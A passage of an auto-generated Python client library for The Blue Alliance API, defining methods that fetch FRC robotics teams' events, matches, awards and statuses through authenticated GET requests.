header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/event/{event_key}/awards', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Award]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_event_matches(self, team_key, event_key, **kwargs): # noqa: E501 """get_team_event_matches # noqa: E501 Gets a list of matches for the given team and event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_event_matches(team_key, event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Match] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_event_matches_with_http_info(team_key, event_key, **kwargs) # noqa: E501 else: (data) = self.get_team_event_matches_with_http_info(team_key, event_key, **kwargs) # noqa: E501 return data def get_team_event_matches_with_http_info(self, team_key, event_key, **kwargs): # noqa: E501 """get_team_event_matches # noqa: E501 Gets a list of matches for the given team and event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_event_matches_with_http_info(team_key, event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Match] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'event_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_event_matches" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_event_matches`") # noqa: E501 # verify the required parameter 'event_key' is set if ('event_key' not in params or params['event_key'] is None): raise ValueError("Missing the required parameter `event_key` when calling `get_team_event_matches`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'event_key' in params: path_params['event_key'] = params['event_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/event/{event_key}/matches', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Match]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_event_matches_keys(self, team_key, event_key, **kwargs): # noqa: E501 """get_team_event_matches_keys # noqa: E501 Gets a list of match keys for matches for the given team and event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_event_matches_keys(team_key, event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_event_matches_keys_with_http_info(team_key, event_key, **kwargs) # noqa: E501 else: (data) = self.get_team_event_matches_keys_with_http_info(team_key, event_key, **kwargs) # noqa: E501 return data def get_team_event_matches_keys_with_http_info(self, team_key, event_key, **kwargs): # noqa: E501 """get_team_event_matches_keys # noqa: E501 Gets a list of match keys for matches for the given team and event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_event_matches_keys_with_http_info(team_key, event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'event_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_event_matches_keys" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_event_matches_keys`") # noqa: E501 # verify the required parameter 'event_key' is set if ('event_key' not in params or params['event_key'] is None): raise ValueError("Missing the required parameter `event_key` when calling `get_team_event_matches_keys`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'event_key' in params: path_params['event_key'] = params['event_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/event/{event_key}/matches/keys', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[str]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_event_matches_simple(self, team_key, event_key, **kwargs): # noqa: E501 """get_team_event_matches_simple # noqa: E501 Gets a short-form list of matches for the given team and event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_event_matches_simple(team_key, event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Match] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_event_matches_simple_with_http_info(team_key, event_key, **kwargs) # noqa: E501 else: (data) = self.get_team_event_matches_simple_with_http_info(team_key, event_key, **kwargs) # noqa: E501 return data def get_team_event_matches_simple_with_http_info(self, team_key, event_key, **kwargs): # noqa: E501 """get_team_event_matches_simple # noqa: E501 Gets a short-form list of matches for the given team and event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_event_matches_simple_with_http_info(team_key, event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Match] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'event_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_event_matches_simple" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_event_matches_simple`") # noqa: E501 # verify the required parameter 'event_key' is set if ('event_key' not in params or params['event_key'] is None): raise ValueError("Missing the required parameter `event_key` when calling `get_team_event_matches_simple`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'event_key' in params: path_params['event_key'] = params['event_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/event/{event_key}/matches/simple', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Match]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_event_status(self, team_key, event_key, **kwargs): # noqa: E501 """get_team_event_status # noqa: E501 Gets the competition rank and status of the team at the given event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_event_status(team_key, event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: TeamEventStatus If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_event_status_with_http_info(team_key, event_key, **kwargs) # noqa: E501 else: (data) = self.get_team_event_status_with_http_info(team_key, event_key, **kwargs) # noqa: E501 return data def get_team_event_status_with_http_info(self, team_key, event_key, **kwargs): # noqa: E501 """get_team_event_status # noqa: E501 Gets the competition rank and status of the team at the given event. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_event_status_with_http_info(team_key, event_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str event_key: TBA Event Key, eg `2016nytr` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: TeamEventStatus If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'event_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_event_status" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_event_status`") # noqa: E501 # verify the required parameter 'event_key' is set if ('event_key' not in params or params['event_key'] is None): raise ValueError("Missing the required parameter `event_key` when calling `get_team_event_status`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'event_key' in params: path_params['event_key'] = params['event_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/event/{event_key}/status', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='TeamEventStatus', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_events(self, team_key, **kwargs): # noqa: E501 """get_team_events # noqa: E501 Gets a list of all events this team has competed at. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_events(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Event] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_events_with_http_info(team_key, **kwargs) # noqa: E501 else: (data) = self.get_team_events_with_http_info(team_key, **kwargs) # noqa: E501 return data def get_team_events_with_http_info(self, team_key, **kwargs): # noqa: E501 """get_team_events # noqa: E501 Gets a list of all events this team has competed at. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_events_with_http_info(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Event] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_events" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_events`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/events', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Event]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_events_by_year(self, team_key, year, **kwargs): # noqa: E501 """get_team_events_by_year # noqa: E501 Gets a list of events this team has competed at in the given year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_events_by_year(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Event] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_events_by_year_with_http_info(team_key, year, **kwargs) # noqa: E501 else: (data) = self.get_team_events_by_year_with_http_info(team_key, year, **kwargs) # noqa: E501 return data def get_team_events_by_year_with_http_info(self, team_key, year, **kwargs): # noqa: E501 """get_team_events_by_year # noqa: E501 Gets a list of events this team has competed at in the given year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_events_by_year_with_http_info(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[Event] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'year', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_events_by_year" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_events_by_year`") # noqa: E501 # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `get_team_events_by_year`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'year' in params: path_params['year'] = params['year'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/events/{year}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[Event]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_events_by_year_keys(self, team_key, year, **kwargs): # noqa: E501 """get_team_events_by_year_keys # noqa: E501 Gets a list of the event keys for events this team has competed at in the given year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_events_by_year_keys(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_events_by_year_keys_with_http_info(team_key, year, **kwargs) # noqa: E501 else: (data) = self.get_team_events_by_year_keys_with_http_info(team_key, year, **kwargs) # noqa: E501 return data def get_team_events_by_year_keys_with_http_info(self, team_key, year, **kwargs): # noqa: E501 """get_team_events_by_year_keys # noqa: E501 Gets a list of the event keys for events this team has competed at in the given year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_events_by_year_keys_with_http_info(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'year', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_events_by_year_keys" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_events_by_year_keys`") # noqa: E501 # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `get_team_events_by_year_keys`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'year' in params: path_params['year'] = params['year'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/events/{year}/keys', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[str]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_events_by_year_simple(self, team_key, year, **kwargs): # noqa: E501 """get_team_events_by_year_simple # noqa: E501 Gets a short-form list of events this team has competed at in the given year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_events_by_year_simple(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[EventSimple] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_events_by_year_simple_with_http_info(team_key, year, **kwargs) # noqa: E501 else: (data) = self.get_team_events_by_year_simple_with_http_info(team_key, year, **kwargs) # noqa: E501 return data def get_team_events_by_year_simple_with_http_info(self, team_key, year, **kwargs): # noqa: E501 """get_team_events_by_year_simple # noqa: E501 Gets a short-form list of events this team has competed at in the given year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_events_by_year_simple_with_http_info(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[EventSimple] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'year', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_events_by_year_simple" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_events_by_year_simple`") # noqa: E501 # verify the required parameter 'year' is set if ('year' not in params or params['year'] is None): raise ValueError("Missing the required parameter `year` when calling `get_team_events_by_year_simple`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 if 'year' in params: path_params['year'] = params['year'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/events/{year}/simple', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[EventSimple]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_events_keys(self, team_key, **kwargs): # noqa: E501 """get_team_events_keys # noqa: E501 Gets a list of the event keys for all events this team has competed at. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_events_keys(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_events_keys_with_http_info(team_key, **kwargs) # noqa: E501 else: (data) = self.get_team_events_keys_with_http_info(team_key, **kwargs) # noqa: E501 return data def get_team_events_keys_with_http_info(self, team_key, **kwargs): # noqa: E501 """get_team_events_keys # noqa: E501 Gets a list of the event keys for all events this team has competed at. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_events_keys_with_http_info(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[str] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_events_keys" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_events_keys`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/events/keys', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[str]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_events_simple(self, team_key, **kwargs): # noqa: E501 """get_team_events_simple # noqa: E501 Gets a short-form list of all events this team has competed at. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_events_simple(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[EventSimple] If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_events_simple_with_http_info(team_key, **kwargs) # noqa: E501 else: (data) = self.get_team_events_simple_with_http_info(team_key, **kwargs) # noqa: E501 return data def get_team_events_simple_with_http_info(self, team_key, **kwargs): # noqa: E501 """get_team_events_simple # noqa: E501 Gets a short-form list of all events this team has competed at. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_events_simple_with_http_info(team_key, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: list[EventSimple] If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'if_modified_since'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_team_events_simple" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'team_key' is set if ('team_key' not in params or params['team_key'] is None): raise ValueError("Missing the required parameter `team_key` when calling `get_team_events_simple`") # noqa: E501 collection_formats = {} path_params = {} if 'team_key' in params: path_params['team_key'] = params['team_key'] # noqa: E501 query_params = [] header_params = {} if 'if_modified_since' in params: header_params['If-Modified-Since'] = params['if_modified_since'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['apiKey'] # noqa: E501 return self.api_client.call_api( '/team/{team_key}/events/simple', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='list[EventSimple]', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_team_events_statuses_by_year(self, team_key, year, **kwargs): # noqa: E501 """get_team_events_statuses_by_year # noqa: E501 Gets a key-value list of the event statuses for events this team has competed at in the given year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_events_statuses_by_year(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: dict(str, TeamEventStatus) If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.get_team_events_statuses_by_year_with_http_info(team_key, year, **kwargs) # noqa: E501 else: (data) = self.get_team_events_statuses_by_year_with_http_info(team_key, year, **kwargs) # noqa: E501 return data def get_team_events_statuses_by_year_with_http_info(self, team_key, year, **kwargs): # noqa: E501 """get_team_events_statuses_by_year # noqa: E501 Gets a key-value list of the event statuses for events this team has competed at in the given year. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.get_team_events_statuses_by_year_with_http_info(team_key, year, async_req=True) >>> result = thread.get() :param async_req bool :param str team_key: TBA Team Key, eg `frc254` (required) :param int year: Competition Year (or Season). Must be 4 digits. (required) :param str if_modified_since: Value of the `Last-Modified` header in the most recently cached response by the client. :return: dict(str, TeamEventStatus) If the method is called asynchronously, returns the request thread. """ all_params = ['team_key', 'year', 'if_modified_since'] # noqa: E501 all_params.append('async_req') 